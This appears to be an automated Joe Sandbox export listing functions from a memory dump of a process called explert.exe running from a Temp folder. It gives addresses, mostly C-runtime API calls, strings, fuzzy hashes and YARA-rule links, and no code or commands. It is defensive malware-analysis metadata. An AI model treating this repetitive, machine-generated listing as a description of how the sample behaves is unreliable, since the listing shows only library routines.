Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 16377dff718e34370175ecd5e0fb49860c88454d521e6fac879f4748136e0fab
Instruction ID: 80629d53c92506d52e6cbe6c89ae3d427eda4fccb5243088fa472bd51439c30a
Opcode Fuzzy Hash: 16377dff718e34370175ecd5e0fb49860c88454d521e6fac879f4748136e0fab
Instruction Fuzzy Hash: 0761E276A00305AFDB20DF64D851BAABFF9FF84710F10492AE955EB281EB70AD40DB50

Function 0055B0B9 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 255COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0055CA90: GetLastError.KERNEL32(00531920,00000001,00531924,00556D0D,00000001,00000000,00000000,?,0055CD85,00000000,00000000,00000001,00000000,00531920,00000104), ref: 0055CA95
Part of subcall function 0055CA90: SetLastError.KERNEL32(00000000,00000006,000000FF,?,0055CD85,00000000,00000000,00000001,00000000,00531920,00000104), ref: 0055CB33

_free.LIBCMT ref: 0055B3A4
_free.LIBCMT ref: 0055B3BD
_free.LIBCMT ref: 0055B3FB
_free.LIBCMT ref: 0055B404
_free.LIBCMT ref: 0055B410

Strings

C, xrefs: 0055B215
@0S, xrefs: 0055B381

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: _free$ErrorLast
String ID: @0S$C
API String ID: 3291180501-507328144
Opcode ID: 5f7f82cb8e00cbb5086f9d56a580fb631a05b8181d89e384f031b1bca6c0a7ec
Instruction ID: 290f997f2ff9e4368a03f943fefb52e901e6cbb8b18b2d703dd0dbed08b8ff18
Opcode Fuzzy Hash: 5f7f82cb8e00cbb5086f9d56a580fb631a05b8181d89e384f031b1bca6c0a7ec
Instruction Fuzzy Hash: FEB17C7590161ADFEB24DF18C8A9BADBBB5FF48305F5045AAE809A7350D730AE94CF40

Function 0055AC2E Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 186COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0056097D: HeapAlloc.KERNEL32(00000000,?,?,?,005518D8,?,?,?,?,?,005311E3,?,?), ref: 005609AF

_free.LIBCMT ref: 0055AD3D
_free.LIBCMT ref: 0055AD54
_free.LIBCMT ref: 0055AD71
_free.LIBCMT ref: 0055AD8C
_free.LIBCMT ref: 0055ADA3

Strings

x2W, xrefs: 0055AC81
\2W, xrefs: 0055AD17

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: _free$AllocHeap
String ID: \2W$x2W
API String ID: 1835388192-3612702823
Opcode ID: f18ce5198a150787a04fd6607b09ffbcaa083e362edc7656070b8848dbc86a5e
Instruction ID: ca6e3c42cfb260ab227182dfd1ac84996483f232ee8d8caa606d215e386739f0
Opcode Fuzzy Hash: f18ce5198a150787a04fd6607b09ffbcaa083e362edc7656070b8848dbc86a5e
Instruction Fuzzy Hash: 6551E371A003059FDB219F29DC52A6A7BF4FF84722F14466AEC49DB290E731EE089B41

Function 00531A50 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 104COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00531A62
std::_Lockit::_Lockit.LIBCPMT ref: 00531A7D
std::_Lockit::~_Lockit.LIBCPMT ref: 00531A9D
std::_Lockit::~_Lockit.LIBCPMT ref: 00531AEE
std::_Facet_Register.LIBCPMT ref: 00531B50
std::_Lockit::~_Lockit.LIBCPMT ref: 00531B68

Strings

dV, xrefs: 00531B22

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: std::_$Lockit$Lockit::~_$Lockit::_$Facet_Register
String ID: dV
API String ID: 1858714459-971893479
Opcode ID: 1b11d0e6afc8523bcbfb1b17288a56d8faba3f4bb686a36fe0088d5ecc10ead3
Instruction ID: 0c2d54a5358f2c4ba5cbfdc07d6e7d818f6b711f91744e22d6498ba35c209a65
Opcode Fuzzy Hash: 1b11d0e6afc8523bcbfb1b17288a56d8faba3f4bb686a36fe0088d5ecc10ead3
Instruction Fuzzy Hash: C6310435A016119FCB20DF68D8959A9FBB0FF50350F1851A9EC4AAB351EB31ED4ACBC4

Function 00565522 Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 0056554C
_free.LIBCMT ref: 00565625
_free.LIBCMT ref: 00565652

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 6083febe7f511870d26712ef4bf71ae5d9068466e5367ebbb81a697ef6f34d7a
Instruction ID: 20927dc15e69fe1ecfe9787a9785219fe93bc269d278d8759f05d399277864a0
Opcode Fuzzy Hash: 6083febe7f511870d26712ef4bf71ae5d9068466e5367ebbb81a697ef6f34d7a
Instruction Fuzzy Hash: D75125B1984742EFDF21AF64D896A6E7FB8FF41710F10456AE910AB181FB319908CB50

Function 005340F0 Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 311COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 005343BE
__fread_nolock.LIBCMT ref: 005343E2

Strings

,V, xrefs: 0053411B, 00534279
ios_base::eofbit set, xrefs: 00534211
ios_base::failbit set, xrefs: 0053420C, 00534278
ios_base::badbit set, xrefs: 00534202, 00534228

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: __fread_nolock
String ID: ,V$ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2638373210-563886639
Opcode ID: f79f432ffee02c6279f475860ac2c238344e912886373d5cf6554cdf4eac2777
Instruction ID: b2b8a38ef7c0e13b62ae962ac9addd2ac22e2b5adc4cad9ed5267509651027f1
Opcode Fuzzy Hash: f79f432ffee02c6279f475860ac2c238344e912886373d5cf6554cdf4eac2777
Instruction Fuzzy Hash: 30A18936A001099FCB18CF6DC885AAEBBA5FF84320F148169FC19DB351DA31ED44CB90

Function 00564B2A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 83COMMON

Download Yara Rule

Strings

}LV, xrefs: 00564B7B
C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe, xrefs: 00564B2F

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe$}LV
API String ID: 0-706804828
Opcode ID: a54b994df0531878e428a8c8104f0652760f2c72ba73772579df8098ba3dad86
Instruction ID: baad47b6c1652ba4aa4efad8865f1eeac3400e2b4ce60b24d5834cd1cab19d72
Opcode Fuzzy Hash: a54b994df0531878e428a8c8104f0652760f2c72ba73772579df8098ba3dad86
Instruction Fuzzy Hash: 3E21807560810AAFDF20AF65DC95E6B7FADFB803B87108515F91597161EB60EC408B60

Function 005666B3 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005663FF: _free.LIBCMT ref: 00566424

_free.LIBCMT ref: 00566701

Part of subcall function 0055CE37: HeapFree.KERNEL32(00000000,00000000,?,00566429,?,00000000,?,?,?,005666CC,?,00000007,?,?,00566BBF,?), ref: 0055CE4D
Part of subcall function 0055CE37: GetLastError.KERNEL32(?,?,00566429,?,00000000,?,?,?,005666CC,?,00000007,?,?,00566BBF,?,?), ref: 0055CE5F

_free.LIBCMT ref: 0056670C
_free.LIBCMT ref: 00566717
_free.LIBCMT ref: 0056676B
_free.LIBCMT ref: 00566776
_free.LIBCMT ref: 00566781
_free.LIBCMT ref: 0056678C

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 4bb7cfefca59b01fdb6ef220bd872d0b4c475c341da5657b3a5c2d1b5605872d
Instruction ID: 3d34e756b2dd9079a0ed920974f7f921588ce16fc5eea71460e4fb2b0844a2d1
Opcode Fuzzy Hash: 4bb7cfefca59b01fdb6ef220bd872d0b4c475c341da5657b3a5c2d1b5605872d
Instruction Fuzzy Hash: 8B115171640B06BBD521B7B0CC1BFCB7FACBFC0B40F400C29BA9967252DA75B5058650

Function 00556642 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,00556637,?,?,005565FF,00000001,00000000,?), ref: 00556657
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0055666A
FreeLibrary.KERNEL32(00000000,?,?,00556637,?,?,005565FF,00000001,00000000,?), ref: 0055668D

Strings

mscoree.dll, xrefs: 00556650
CorExitProcess, xrefs: 00556662
@0S, xrefs: 0055667B

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: @0S$CorExitProcess$mscoree.dll
API String ID: 4061214504-38058037
Opcode ID: 0d8e23fc375b6c218af9c9ce41496cd0948e89b62390e570b8de36b63ad21486
Instruction ID: 324df62bc6505420b71ec093a6a80c2fb6f84f28f96234cc0a223e1b004d5261
Opcode Fuzzy Hash: 0d8e23fc375b6c218af9c9ce41496cd0948e89b62390e570b8de36b63ad21486
Instruction Fuzzy Hash: F9F08234501218FBDB119B64EC1AB9D7EA8FB01756F000160E905B31A0CBB09E05FA94

Function 0055DE56 Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(00000010,00000000,?), ref: 0055DE9E
__fassign.LIBCMT ref: 0055E083
__fassign.LIBCMT ref: 0055E0A0
WriteFile.KERNEL32(?,00000010,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0055E0E8
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0055E128
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 0055E1D0

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: f190ce61500fdf60f4be70a3cf2b69993072ad27871bf577e1b570d0c21e688a
Instruction ID: c55d9a90a390d14cbe127cb0a043ff432fb12c4c621ff34d334d18f012fd218b
Opcode Fuzzy Hash: f190ce61500fdf60f4be70a3cf2b69993072ad27871bf577e1b570d0c21e688a
Instruction Fuzzy Hash: 67C1BE75D002599FCB18CFA8C8959EDBFB5BF48304F28416AE816F7241D6319E4ACF60

Function 0055051C Relevance: 9.2, APIs: 6, Instructions: 224COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?), ref: 005505A7
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 00550635
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 005506A7
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 005506C1
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00550724
CompareStringEx.KERNEL32(?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 00550741

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: ByteCharMultiWide$CompareInfoString
String ID:
API String ID: 2984826149-0
Opcode ID: 6dd46b3c1b2f43bbcd30eb3a1806befef67ab45a6a72bf7017390ec6b2e91a27
Instruction ID: bd9a13449d6dd11f83e43dd4eb1cd154fe753630c7f03ab479b9c0066dd6f900
Opcode Fuzzy Hash: 6dd46b3c1b2f43bbcd30eb3a1806befef67ab45a6a72bf7017390ec6b2e91a27
Instruction Fuzzy Hash: 9A71707591020AABDF218FA4CC65AEE7FB6FF89352F141057EC05A61D1EA31D848DFA0

Function 005502E2 Relevance: 9.2, APIs: 6, Instructions: 175COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 0055032B
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 00550396
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 005503B3
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 005503F2
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00550451
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00550474

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: 3f4a1b0f06926a7a099c06f54ee0c0cc3d65131072c804d3a294e3fb654d30ab
Instruction ID: 4a99de5f8d0ccea0a051e344b6a9e201ee5f6cda39c4d313f6034faa55570b24
Opcode Fuzzy Hash: 3f4a1b0f06926a7a099c06f54ee0c0cc3d65131072c804d3a294e3fb654d30ab
Instruction Fuzzy Hash: 7651AE7250020AEBEF208FA4CC59FAA7FA9FF50752F154926FE05A6190D7748C58DBA0

Function 00560E0B Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00560E95

Strings

$iU, xrefs: 00560E0D

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: _strrchr
String ID: $iU
API String ID: 3213747228-1866154683
Opcode ID: baa62c8111508225817319dd1be884d816bd16b82f7b4bf7868aea9b7a7ecd7c
Instruction ID: 68f28d9af5df43618dbe5b4d7d74ef551979f3f1d79cd921d66d1f96d8d62f9b
Opcode Fuzzy Hash: baa62c8111508225817319dd1be884d816bd16b82f7b4bf7868aea9b7a7ecd7c
Instruction Fuzzy Hash: 49B146329006869FDF21CF28C8557BEBFF5FF55310F18446AE844AB282D6359D41CB64

Function 0055395A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00553951,005527FB,005515E7), ref: 00553968
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00553976
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0055398F
SetLastError.KERNEL32(00000000,00553951,005527FB,005515E7), ref: 005539E1

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 8f93668169d5f6ce9dee24cd37293220d0a3f4fc45a4887dfaf255545df91966
Instruction ID: 21a25a79b4dcae4a5d71d69b6d353842298ce5afe40ebb36488bbba5937edb7d
Opcode Fuzzy Hash: 8f93668169d5f6ce9dee24cd37293220d0a3f4fc45a4887dfaf255545df91966
Instruction Fuzzy Hash: E501F97220E2125FAB205A747CAE6262E64FB513B7320033BF81C422E1FF914D4C7640

Function 00553A71 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00553B38
___AdjustPointer.LIBCMT ref: 00553B5B
___AdjustPointer.LIBCMT ref: 00553BF7

Strings

@0S, xrefs: 00553AD0

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: AdjustPointer
String ID: @0S
API String ID: 1740715915-2734645871
Opcode ID: a1faf618768a59923df29421c6b99ebdad25d5e8bc96b92984b0a85c4d0d6962
Instruction ID: 052d58860132e7b9c633ed816081a7474343ccd288a259cdbef0a02766f80efe
Opcode Fuzzy Hash: a1faf618768a59923df29421c6b99ebdad25d5e8bc96b92984b0a85c4d0d6962
Instruction Fuzzy Hash: 285135726006069FDB258F40C865B7ABFA4FF447A2F24452FEC0A87691E731EE48D790

Function 005549F2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,00554AB3,?,?,00580B4C,00000000,?,00554BDE,00000004,InitializeCriticalSectionEx,00571958,mscoree.dll,00000000), ref: 00554A82

Strings

api-ms-, xrefs: 00554A42

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: 7308eed89543c7a78658c702f66a5a05332fc5be1f9fd266ad60e94bcf1c6357
Instruction ID: 3a9ec24123554feefa001d2a180f8a52c7f3c0d8b3cb553246e558d9c53ca142
Opcode Fuzzy Hash: 7308eed89543c7a78658c702f66a5a05332fc5be1f9fd266ad60e94bcf1c6357
Instruction Fuzzy Hash: A511E732A81220ABDF628B6CDC1575A3B99BF12776F150112ED01E7280D770ED889AD9

Function 00566188 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 005661A0

Part of subcall function 0055CE37: HeapFree.KERNEL32(00000000,00000000,?,00566429,?,00000000,?,?,?,005666CC,?,00000007,?,?,00566BBF,?), ref: 0055CE4D
Part of subcall function 0055CE37: GetLastError.KERNEL32(?,?,00566429,?,00000000,?,?,?,005666CC,?,00000007,?,?,00566BBF,?,?), ref: 0055CE5F

_free.LIBCMT ref: 005661B2
_free.LIBCMT ref: 005661C4
_free.LIBCMT ref: 005661D6
_free.LIBCMT ref: 005661E8

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 3929782ac02f31ff52d32ce2b1f76f1ec31ad196b5a36485f02c832c345ba167
Instruction ID: 10a0ec00c3a58abb1235b39c84cc1c0b134e037a0f553aaf835d896593e255d7
Opcode Fuzzy Hash: 3929782ac02f31ff52d32ce2b1f76f1ec31ad196b5a36485f02c832c345ba167
Instruction Fuzzy Hash: DEF0F932504345AF8621EB68FA8AC1B7FEDBA51B21BA40816F81CD7502CB30FC84DB60

Function 00531CC0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 174COMMON

Download Yara Rule

APIs

std::locale::_Init.LIBCPMT ref: 00531D46

Strings

ios_base::eofbit set, xrefs: 00531E95
ios_base::failbit set, xrefs: 00531E90
ios_base::badbit set, xrefs: 00531E86, 00531EAF

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: Initstd::locale::_
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 1620887387-1866435925
Opcode ID: 46a0964bc5ff0cfb18438dafd1a22b864d7872b894612f5b23040e3e8439674d
Instruction ID: 0add2ee2da8f0737db10abce4187e0fe7011787ecdf2ca7613f3790e576fbd5f
Opcode Fuzzy Hash: 46a0964bc5ff0cfb18438dafd1a22b864d7872b894612f5b23040e3e8439674d
Instruction Fuzzy Hash: 386157B5A006059FDB10CF64C895B9ABBF8FF48304F1484A9ED099F346D776E905CBA1

Function 005323F0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 158COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 0053254F

Strings

ios_base::eofbit set, xrefs: 005324F2
ios_base::failbit set, xrefs: 005324ED
ios_base::badbit set, xrefs: 005324E3, 0053250C, 00532533

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
